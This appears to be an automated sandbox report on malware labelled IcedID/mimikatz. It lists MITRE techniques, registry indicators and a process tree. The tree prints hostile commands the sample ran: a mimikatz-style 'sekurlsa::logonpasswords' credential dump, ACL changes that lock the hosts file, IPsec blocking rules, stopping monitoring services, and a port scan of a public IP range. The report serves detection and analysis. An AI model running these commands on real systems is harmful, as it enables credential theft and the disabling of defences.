Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bytszzu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbnqbyuem.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dipzew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lmsemquci.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2108	PING.EXE
3908	cmd.exe

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x000b000000023b78-7.dat	nsis_installer_2
behavioral2/files/0x000a000000023b84-15.dat	nsis_installer_1
behavioral2/files/0x000a000000023b84-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	bytszzu.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	bytszzu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	bytszzu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	bytszzu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	bytszzu.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	bytszzu.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	eybsetuye.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	eybsetuye.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	bytszzu.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2108	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4920	schtasks.exe
1368	schtasks.exe
1392	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
916	2024-12-30_92ba901df6e42d54ae3cea1e245c0888_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	916	2024-12-30_92ba901df6e42d54ae3cea1e245c0888_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	2328	bytszzu.exe
Token: SeDebugPrivilege	2464	bytszzu.exe
Token: SeDebugPrivilege	5060	vfshost.exe
Token: SeDebugPrivilege	4344	eybsetuye.exe
Token: SeLockMemoryPrivilege	4980	bssyne.exe
Token: SeLockMemoryPrivilege	4980	bssyne.exe
Token: SeDebugPrivilege	2700	eybsetuye.exe
Token: SeDebugPrivilege	5088	eybsetuye.exe
Token: SeDebugPrivilege	2764	eybsetuye.exe
Token: SeDebugPrivilege	4376	eybsetuye.exe
Token: SeDebugPrivilege	4300	eybsetuye.exe
Token: SeDebugPrivilege	2116	eybsetuye.exe
Token: SeDebugPrivilege	3412	eybsetuye.exe
Token: SeDebugPrivilege	4116	eybsetuye.exe
Token: SeDebugPrivilege	212	eybsetuye.exe
Token: SeDebugPrivilege	2644	eybsetuye.exe
Token: SeDebugPrivilege	3248	eybsetuye.exe
Token: SeDebugPrivilege	4400	eybsetuye.exe
Token: SeDebugPrivilege	3584	eybsetuye.exe
Token: SeDebugPrivilege	1856	eybsetuye.exe
Token: SeDebugPrivilege	2176	eybsetuye.exe
Token: SeDebugPrivilege	220	eybsetuye.exe
Token: SeDebugPrivilege	1616	eybsetuye.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
916	2024-12-30_92ba901df6e42d54ae3cea1e245c0888_hacktools_icedid_mimikatz.exe
916	2024-12-30_92ba901df6e42d54ae3cea1e245c0888_hacktools_icedid_mimikatz.exe
2328	bytszzu.exe
2328	bytszzu.exe
2464	bytszzu.exe
2464	bytszzu.exe
1264	xohudmc.exe
3292	dipzew.exe
376	bytszzu.exe
376	bytszzu.exe
5408	bytszzu.exe
5408	bytszzu.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 3908	916	2024-12-30_92ba901df6e42d54ae3cea1e245c0888_hacktools_icedid_mimikatz.exe	82
PID 916 wrote to memory of 3908	916	2024-12-30_92ba901df6e42d54ae3cea1e245c0888_hacktools_icedid_mimikatz.exe	82
PID 916 wrote to memory of 3908	916	2024-12-30_92ba901df6e42d54ae3cea1e245c0888_hacktools_icedid_mimikatz.exe	82
PID 3908 wrote to memory of 2108	3908	cmd.exe	84
PID 3908 wrote to memory of 2108	3908	cmd.exe	84
PID 3908 wrote to memory of 2108	3908	cmd.exe	84
PID 3908 wrote to memory of 2328	3908	cmd.exe	85
PID 3908 wrote to memory of 2328	3908	cmd.exe	85
PID 3908 wrote to memory of 2328	3908	cmd.exe	85
PID 2464 wrote to memory of 3444	2464	bytszzu.exe	87
PID 2464 wrote to memory of 3444	2464	bytszzu.exe	87
PID 2464 wrote to memory of 3444	2464	bytszzu.exe	87
PID 3444 wrote to memory of 3392	3444	cmd.exe	89
PID 3444 wrote to memory of 3392	3444	cmd.exe	89
PID 3444 wrote to memory of 3392	3444	cmd.exe	89
PID 3444 wrote to memory of 2564	3444	cmd.exe	90
PID 3444 wrote to memory of 2564	3444	cmd.exe	90
PID 3444 wrote to memory of 2564	3444	cmd.exe	90
PID 3444 wrote to memory of 3436	3444	cmd.exe	91
PID 3444 wrote to memory of 3436	3444	cmd.exe	91
PID 3444 wrote to memory of 3436	3444	cmd.exe	91
PID 3444 wrote to memory of 2672	3444	cmd.exe	92
PID 3444 wrote to memory of 2672	3444	cmd.exe	92
PID 3444 wrote to memory of 2672	3444	cmd.exe	92
PID 3444 wrote to memory of 2916	3444	cmd.exe	93
PID 3444 wrote to memory of 2916	3444	cmd.exe	93
PID 3444 wrote to memory of 2916	3444	cmd.exe	93
PID 3444 wrote to memory of 948	3444	cmd.exe	94
PID 3444 wrote to memory of 948	3444	cmd.exe	94
PID 3444 wrote to memory of 948	3444	cmd.exe	94
PID 2464 wrote to memory of 1484	2464	bytszzu.exe	95
PID 2464 wrote to memory of 1484	2464	bytszzu.exe	95
PID 2464 wrote to memory of 1484	2464	bytszzu.exe	95
PID 2464 wrote to memory of 872	2464	bytszzu.exe	97
PID 2464 wrote to memory of 872	2464	bytszzu.exe	97
PID 2464 wrote to memory of 872	2464	bytszzu.exe	97
PID 2464 wrote to memory of 2668	2464	bytszzu.exe	99
PID 2464 wrote to memory of 2668	2464	bytszzu.exe	99
PID 2464 wrote to memory of 2668	2464	bytszzu.exe	99
PID 2464 wrote to memory of 408	2464	bytszzu.exe	105
PID 2464 wrote to memory of 408	2464	bytszzu.exe	105
PID 2464 wrote to memory of 408	2464	bytszzu.exe	105
PID 408 wrote to memory of 1000	408	cmd.exe	107
PID 408 wrote to memory of 1000	408	cmd.exe	107
PID 408 wrote to memory of 1000	408	cmd.exe	107
PID 1000 wrote to memory of 1168	1000	wpcap.exe	108
PID 1000 wrote to memory of 1168	1000	wpcap.exe	108
PID 1000 wrote to memory of 1168	1000	wpcap.exe	108
PID 1168 wrote to memory of 4980	1168	net.exe	110
PID 1168 wrote to memory of 4980	1168	net.exe	110
PID 1168 wrote to memory of 4980	1168	net.exe	110
PID 1000 wrote to memory of 5024	1000	wpcap.exe	111
PID 1000 wrote to memory of 5024	1000	wpcap.exe	111
PID 1000 wrote to memory of 5024	1000	wpcap.exe	111
PID 5024 wrote to memory of 4956	5024	net.exe	113
PID 5024 wrote to memory of 4956	5024	net.exe	113
PID 5024 wrote to memory of 4956	5024	net.exe	113
PID 1000 wrote to memory of 1172	1000	wpcap.exe	114
PID 1000 wrote to memory of 1172	1000	wpcap.exe	114
PID 1000 wrote to memory of 1172	1000	wpcap.exe	114
PID 1172 wrote to memory of 2784	1172	net.exe	116
PID 1172 wrote to memory of 2784	1172	net.exe	116
PID 1172 wrote to memory of 2784	1172	net.exe	116
PID 1000 wrote to memory of 2312	1000	wpcap.exe	117

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1716
- C:\Windows\TEMP\swsbcbmeu\bssyne.exe
  "C:\Windows\TEMP\swsbcbmeu\bssyne.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4980

C:\Users\Admin\AppData\Local\Temp\2024-12-30_92ba901df6e42d54ae3cea1e245c0888_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-12-30_92ba901df6e42d54ae3cea1e245c0888_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\nsyinawm\bytszzu.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2108
- - C:\Windows\nsyinawm\bytszzu.exe
    C:\Windows\nsyinawm\bytszzu.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2328

C:\Windows\nsyinawm\bytszzu.exe
C:\Windows\nsyinawm\bytszzu.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2464
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3392
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:2564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3436
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:2672
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2916
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:948
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1484
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:872
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\vuqibqfqb\ieymcmqub\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:408
- - C:\Windows\vuqibqfqb\ieymcmqub\wpcap.exe
    C:\Windows\vuqibqfqb\ieymcmqub\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1000
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1168
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4980
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5024
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4956
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1172
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2784
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      PID:2312
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4752
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3808
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4572
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4864
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3496
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4264
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\vuqibqfqb\ieymcmqub\hbnqbyuem.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\vuqibqfqb\ieymcmqub\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2332
- - C:\Windows\vuqibqfqb\ieymcmqub\hbnqbyuem.exe
    C:\Windows\vuqibqfqb\ieymcmqub\hbnqbyuem.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\vuqibqfqb\ieymcmqub\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3448
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\vuqibqfqb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\vuqibqfqb\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:1636
- - C:\Windows\vuqibqfqb\Corporate\vfshost.exe
    C:\Windows\vuqibqfqb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5060
- C:\Windows\SysWOW64\cmd.exe
